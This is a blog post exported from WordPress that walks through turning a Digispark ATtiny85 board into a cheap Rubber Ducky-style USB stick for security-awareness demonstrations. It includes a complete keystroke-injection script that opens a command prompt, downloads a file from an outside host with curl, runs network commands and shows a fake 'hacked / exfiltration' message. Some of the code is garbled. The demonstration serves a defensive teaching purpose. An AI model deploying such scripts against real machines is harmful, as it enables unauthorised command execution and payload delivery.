{"id":7106,"date":"2024-05-11T14:48:02","date_gmt":"2024-05-11T12:48:02","guid":{"rendered":"https:\/\/www.sigalou-domotique.fr\/?p=7106"},"modified":"2026-01-02T16:55:48","modified_gmt":"2026-01-02T14:55:48","slug":"je-veux-sensibilisation-au-danger-des-cles-usb-inconnues","status":"publish","type":"post","link":"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues","title":{"rendered":"I want to raise awareness about the danger of unknown USB flash drives"},"content":{"rendered":"<span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\"><\/span>\r\n<h2><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7128\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.gif\" alt=\"\" width=\"796\" height=\"336\" \/><\/a><\/h2>\r\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_89 counter-hierarchy ez-toc-counter ez-toc-light-blue ez-toc-container-direction\">\n<label for=\"ez-toc-cssicon-toggle-item-6ae4fb3e245c9\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewbox=\"0 0 24 24\" version=\"1.2\" baseprofile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6ae4fb3e245c9\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Mon_objectif\" >My goal<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Que_sont_des_Rubber_Ducky\" >What are Rubber Duckys?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Je_vais_utiliser_une_Digispark_Rev_3_equipe_dune_ATTINY85\" >I will use a Digispark Rev. 3 equipped with an ATTINY85<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Contraintes_de_la_Digispark_ATTINY85\" >Constraints of the Digispark ATTINY85<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Je_telecharge_les_pilotes_de_la_Digispark\" >I download the drivers of the Digispark<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Je_desactive_la_signature_obligatoire_des_pilotes\" >I disable the mandatory signature of pilots<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Jinstalle_les_pilotes_de_la_Digispark\" >I install the Digispark drivers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Jinstalle_lIDE_dArduino\" >I install the Arduino IDE<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Jintegre_le_pack_Digispark_a_lIDE\" >I am integrating the Digispark pack into the IDE<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Jinstalle_le_clavier_QWERTY\" >I install the QWERTY keyboard<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Je_saisis_mon_codescript\" >I enter my code\/script<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Je_le_televerse_dans_la_cle_Digispark\" >I upload it into the Digispark key<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.sigalou-domotique.fr\/en\/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues\/#Bibliographie_pour_aller_plus_loin\" >Bibliography to go further<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Mon_objectif\"><\/span>My goal<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>In the context of training for IT users, it is crucial to raise their awareness of the risks associated with the use of unknown USB sticks.<\/p>\r\n<p>To make a difference, a practical demonstration is often more effective than a simple speech. That is why I want to get a USB stick capable of simulating damage on a computer, in order to show concretely the dangers involved.<\/p>\r\n<p>Rubber Duckys are USB sticks used by hackers, but their cost is often prohibitive. I am therefore looking for a more economical solution to create this awareness tool.<\/p>\r\n<p>In short, I want to find an affordable alternative to Rubber Ducky to make users aware of the risks associated with the use of unknown USB sticks, using a USB stick capable of simulating damage to a computer.<!--more--><\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Que_sont_des_Rubber_Ducky\"><\/span>What are Rubber Duckys?<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>Rubber Duckys are USB sticks designed to simulate a keyboard when connected to a computer. They are often used by hackers to perform keystroke injection attacks, which consist of simulating keyboard keystrokes to execute malicious commands on a target computer.<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-7107\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky.png\" alt=\"\" width=\"180\" height=\"199\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky.png 506w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky-271x300.png 271w\" sizes=\"auto, (max-width: 180px) 100vw, 180px\" \/><\/a><\/p>\r\n<p>Rubber Duckys are equipped with a programmable microcontroller that can store pre-recorded scripts. When connected to a computer, they behave like a standard USB keyboard and can send pre-recorded key sequences at a very high speed, allowing complex commands to be executed in seconds.<\/p>\r\n<p>Rubber Duckys are often used for penetration tests or IT security demonstrations, but they can also be used for malicious purposes, such as data theft or the installation of malware. It is therefore important to make users aware of the risks associated with the use of unknown USB sticks and to take appropriate security measures to protect computers against keystroke injection attacks.<\/p>\r\n<p>As explained in the previous paragraph, my aim is to raise awareness among users of IT tools and demonstrate to them the dangerousness of inserting an unknown USB stick into their computer.<\/p>\r\n<p>Here is the price of Rubber Ducky, hence my wish to find another solution, the price is eliminatory for the usefulness that I will have.<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky-2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7108\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky-2.png\" alt=\"\" width=\"505\" height=\"164\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky-2.png 505w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/Rubber-Ducky-2-300x97.png 300w\" sizes=\"auto, (max-width: 505px) 100vw, 505px\" \/><\/a><\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Je_vais_utiliser_une_Digispark_Rev_3_equipe_dune_ATTINY85\"><\/span>I will use a Digispark Rev. 3 equipped with an ATTINY85<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>I will use much lighter equipment because it only has 6k of memory, but that is enough, I will not run a complex script.<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-7110\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark.png\" alt=\"\" width=\"174\" height=\"165\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark.png 337w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark-300x285.png 300w\" sizes=\"auto, (max-width: 174px) 100vw, 174px\" \/><\/a><\/p>\r\n<p>This equipment is worth between 5 and 7 euros.<\/p>\r\n<p>You can order it <a href=\"https:\/\/s.click.aliexpress.com\/e\/_DFOnvth\" target=\"_blank\" rel=\"noopener\">among the Chinese directly<\/a> praying that you will have the right version or at <a href=\"https:\/\/amzn.to\/463FXri\" target=\"_blank\" rel=\"noopener\">Amazon in batch of 3<\/a>.<\/p>\r\n<p>The connectors won't be useful to me, I'm not going to flash it.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Contraintes_de_la_Digispark_ATTINY85\"><\/span>Constraints of the Digispark ATTINY85<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>If we compare a Rubber Ducky and a Digispark, we realize that the first and main limit is the storage capacity of usable scripts.<\/p>\r\n<p>The ATtiny85 microcontroller has 8 KB of flash memory, but part of this memory is used to store the bootloader and application program code. In general, the amount of memory available for storing data on a Digispark ATtiny85 key is approximately 6 KB. For my use, this is enough.<\/p>\r\n<p>Rubber Ducky keys have advanced features such as the ability to simulate USB devices other than a keyboard, such as a mouse or an external hard drive. Digispark ATtiny85 keys are more limited in this area and can usually only simulate a USB keyboard. That also suits me.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Je_telecharge_les_pilotes_de_la_Digispark\"><\/span>I download the drivers of the Digispark<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>I will install the Digispark drivers on my personal computer. While this may seem like a complex and delicate task, it is important to note that this manipulation should only be performed on my own computer and not on the computers targeted by the damage simulation. Indeed, once the Digispark is connected to a computer, it will be recognized as a keyboard.<\/p>\r\n<p>I am therefore uploading the files needed to install the drivers:<\/p>\r\n<ul>\r\n<li><a href=\"https:\/\/github.com\/digistump\/DigistumpArduino\/releases\/download\/1.6.7\/Digistump.Drivers.zip\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/digistump\/DigistumpArduino\/releases\/download\/1.6.7\/Digistump.Drivers.zip<\/a><\/li>\r\n<\/ul>\r\n<p>Once downloaded and decompressed, it is the file that will allow the drivers to be installed.<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7115\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png\" alt=\"\" width=\"648\" height=\"437\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png 648w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1-600x405.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1-300x202.png 300w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\r\n<p>As this driver is not signed, normally Windows will block the installation, so it is necessary to temporarily disable the mandatory driver signature.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Je_desactive_la_signature_obligatoire_des_pilotes\"><\/span>I disable the mandatory signature of pilots<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-7116\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.png\" alt=\"\" width=\"155\" height=\"124\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2.png 510w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark2-300x239.png 300w\" sizes=\"auto, (max-width: 155px) 100vw, 155px\" \/><\/a><\/p>\r\n<p>I will temporarily disable the mandatory driver signature on my computer. This operation poses no risk and will be automatically canceled the next time the computer is restarted. This step is necessary to allow the installation of the Digispark drivers, which have not been digitally signed by a trusted publisher.<\/p>\r\n<p>I'm going into <strong>Settings<\/strong> then <strong>Recovery<\/strong> to press the button <strong>Restart Now<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7117\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3.png\" alt=\"\" width=\"1012\" height=\"640\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3.png 1012w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3-600x379.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3-300x190.png 300w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark3-768x486.png 768w\" sizes=\"auto, (max-width: 1012px) 100vw, 1012px\" \/><\/a><\/p>\r\n<p>Then at restart, choose <strong>Troubleshooting<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark4.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7118\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark4.png\" alt=\"\" width=\"262\" height=\"82\" \/><\/a><\/p>\r\n<p>then <strong>Advanced options<\/strong> then <strong>Settings<\/strong><\/p>\r\n<p>The PC restart and restart, here are the choices:<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark5.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7119\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark5.png\" alt=\"\" width=\"621\" height=\"318\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark5.png 621w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark5-600x307.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark5-300x154.png 300w\" sizes=\"auto, (max-width: 621px) 100vw, 621px\" \/><\/a><\/p>\r\n<p>I want option 7, so I am relying on <strong>F7<\/strong>.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Jinstalle_les_pilotes_de_la_Digispark\"><\/span>I install the Digispark drivers<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>I can now launch the file <strong>Install Drivers.exe<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7115\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png\" alt=\"\" width=\"648\" height=\"437\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1.png 648w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1-600x405.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark1-300x202.png 300w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Jinstalle_lIDE_dArduino\"><\/span>I install the Arduino IDE<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>Arduino\u2019s Integrated Development Environment (IDE) is an open-source software for programming Arduino and other compatible maps. It is he who will allow me to enter the code of the script I want to run and then upload it to the Digispark key.<\/p>\r\n<ul>\r\n<li><a href=\"https:\/\/www.arduino.cc\/en\/software\" target=\"_blank\" rel=\"noopener\">https:\/\/www.arduino.cc\/en\/software<\/a><\/li>\r\n<\/ul>\r\n<p>Nothing very complicated, everything settles down on its own.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Jintegre_le_pack_Digispark_a_lIDE\"><\/span>I am integrating the Digispark pack into the IDE<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>To manage the Digispark card, it is necessary to use the Digispark pack.<\/p>\r\n<p>I launch IDE Arduino, then <strong>File<\/strong> then <strong>Preferences<\/strong>.<\/p>\r\n<p>I have to complete the<strong>Additional Card Manager URL<\/strong><\/p>\r\n<p><strong><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7120\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6.png\" alt=\"\" width=\"806\" height=\"537\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6.png 806w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6-600x400.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6-300x200.png 300w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark6-768x512.png 768w\" sizes=\"auto, (max-width: 806px) 100vw, 806px\" \/><\/a><\/strong><\/p>\r\n<p>In all the tutorials and other docs you will find on the internet, this link is specified:<\/p>\r\n<ul>\r\n<li><a href=\"http:\/\/digistump.com\/package_digistump_index.json\" target=\"_blank\" rel=\"noopener\">http:\/\/digistump.com\/package_digistump_index.json<\/a><\/li>\r\n<\/ul>\r\n<p>But on the day of my tests, this link did not work, the site digistump being HS.<\/p>\r\n<p>Here is the link I used:<\/p>\r\n<ul>\r\n<li><a href=\"https:\/\/raw.githubusercontent.com\/digistump\/arduino-boards-index\/master\/package_digistump_index.json\" target=\"_blank\" rel=\"noopener\">https:\/\/raw.githubusercontent.com\/digistump\/arduino-boards-index\/master\/package_digistump_index.json<\/a><\/li>\r\n<\/ul>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark7.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7121\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark7.png\" alt=\"\" width=\"740\" height=\"107\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark7.png 740w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark7-600x87.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark7-300x43.png 300w\" sizes=\"auto, (max-width: 740px) 100vw, 740px\" \/><\/a><\/p>\r\n<p>In <strong>Tools<\/strong>, <strong>Cards<\/strong>, <strong>Card Manager, <\/strong>typing <strong>digistrump <\/strong>then click on <strong>Install <\/strong>from <strong>Digistump AVR Boards<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark8.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7122\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark8.png\" alt=\"\" width=\"481\" height=\"252\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark8.png 481w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark8-300x157.png 300w\" sizes=\"auto, (max-width: 481px) 100vw, 481px\" \/><\/a><\/p>\r\n<p>Then return select the Default card in <strong>Tools<\/strong>, <strong>Map<\/strong>, Digistump AVR Boards, then <strong>Digisdpark Default 16.5mhz.<\/strong><\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7123\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9.png\" alt=\"\" width=\"862\" height=\"252\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9.png 862w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9-600x175.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9-300x88.png 300w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark9-768x225.png 768w\" sizes=\"auto, (max-width: 862px) 100vw, 862px\" \/><\/a><\/p>\r\n<p>\u00a0<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Jinstalle_le_clavier_QWERTY\"><\/span>I install the QWERTY keyboard<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>In order not to get trapped on the writing of the commands to be sent, I install an American keyboard in QWERTY. So when I enter commands to execute or display, I will switch the keyboard to ENG.<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark10.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7124\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark10.png\" alt=\"\" width=\"293\" height=\"150\" \/><\/a><\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Je_saisis_mon_codescript\"><\/span>I enter my code\/script<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>Here is my script:<\/p>\r\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"bash\">#include &lt;DigiKeyboard.h&gt; void setup() { \/\/pinMode(1, OUTPUT); \/\/ LED shines more if declared output digitalWrite(1, HIGH); \/\/ Turns on the red LED (to signal that execution is underway) DigiKeyboard.delay(3000); \/\/ Wait 3 seconds DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); \/\/ Open a Windows DigiKeyboard.delay(500) runtime window; DigiKeyboard.print(\"c;d\"); \/\/ Write \"cmd\" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(500); DigiKeyboard.print(\"curl 6o;usic&lt;;p# https.&gt;&gt;uploqdsong&lt;netlify&lt;qpp&gt;;usic&lt;p#\"); \/\/ Write \"curl -o music.mp3 https:\/\/uploadsong.netlify.app\/music.mp3\" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(500); DigiKeyboard.print(\"ipconfig &gt;qll\"); \/\/ Write \"ipconfig \/all\" DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(500); DigiKeyboard.print(\"exit\"); \/\/ Write \"exit\" DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); \/\/ Open a Windows DigiKeyboard.delay(500) runtime window; DigiKeyboard.print(\";usic&lt;;p#\"); \/\/ Write \"music.mp3\" DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(1000); int color = 1; while (color &lt; 5) {DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); \/\/ Open a Windows DigiKeyboard.delay(500) runtime window; DigiKeyboard.print(\"c;d\"); \/\/ Write \"cmd\" DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); switch (color) { box 0: DigiKeyboard.print(\"echo off1color )1cls1tree\");\/\/ Write \"echo off&amp;color 0&amp;cls&amp;tree\" break; Box 1: DigiKeyboard.print(\"echo off1color!1cls1trqcert *&lt;*&lt;*&lt;*\"); \/\/ Write \"echo off&amp;color 1&amp;cls&amp;tracert 8.8.8\" break; Box 2: DigiKeyboard.print(\"echo off1color @1cls1PING google&lt;fr 6n!)\"));\/\/ Write \"echo off&amp;color 2&amp;cls&amp;ping google.fr -n 100\" break; Box 3: DigiKeyboard.print(\"echo off1color #1cls1tree\");\/\/ Write \"echo off&amp;color 3&amp;cls&amp;tree\" break; Box 4: DigiKeyboard.print(\"echo off1color $1cls1trqcert *&lt;*&lt;*&lt;*\");\/\/ Write \"echo off&amp;color 4&amp;cls&amp;tracert 8.8.8\" break; } DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(500); color++; } DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); \/\/ Open a Windows DigiKeyboard.delay(500) runtime window; DigiKeyboard.print(\"notepqd\"); \/\/ Write \"notepad\" DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print(\" Cuckoo \/\/ Computer pirqt2&lt; Do;;qge \"); DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate pressing the ENTER button while (color &lt; 15) { DigiKeyboard.sendKeyStroke(KEY_ENTER); \/\/ Simulate the ENTRY button DigiKeyboard.print(\" Exfiltrqtion of current data&lt;&lt;&lt;&lt; \"); delay(300); color++; } digitalWrite(1, LOW); \/\/ Turning off the Led Rouge } void loop() { }<\/pre>\r\n<p>I commented on it as much as possible.<\/p>\r\n<h2><span class=\"ez-toc-section\" id=\"Je_le_televerse_dans_la_cle_Digispark\"><\/span>I upload it into the Digispark key<span class=\"ez-toc-section-end\"><\/span><\/h2>\r\n<p>I do not plug in the key, I start the compilation and upload with the button with the arrow to the right:<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark11.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7125\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark11.png\" alt=\"\" width=\"213\" height=\"79\" \/><\/a><\/p>\r\n<p>When the console displays plug in <strong>device now<\/strong>, I can insert Digispark key<\/p>\r\n<p><a href=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-7126\" src=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12.png\" alt=\"\" width=\"884\" height=\"103\" srcset=\"https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12.png 884w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12-600x70.png 600w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12-300x35.png 300w, https:\/\/www.sigalou-domotique.fr\/wp-content\/uploads\/2024\/05\/digispark12-768x89.png 768w\" sizes=\"auto, (max-width: 884px) 100vw, 884px\" 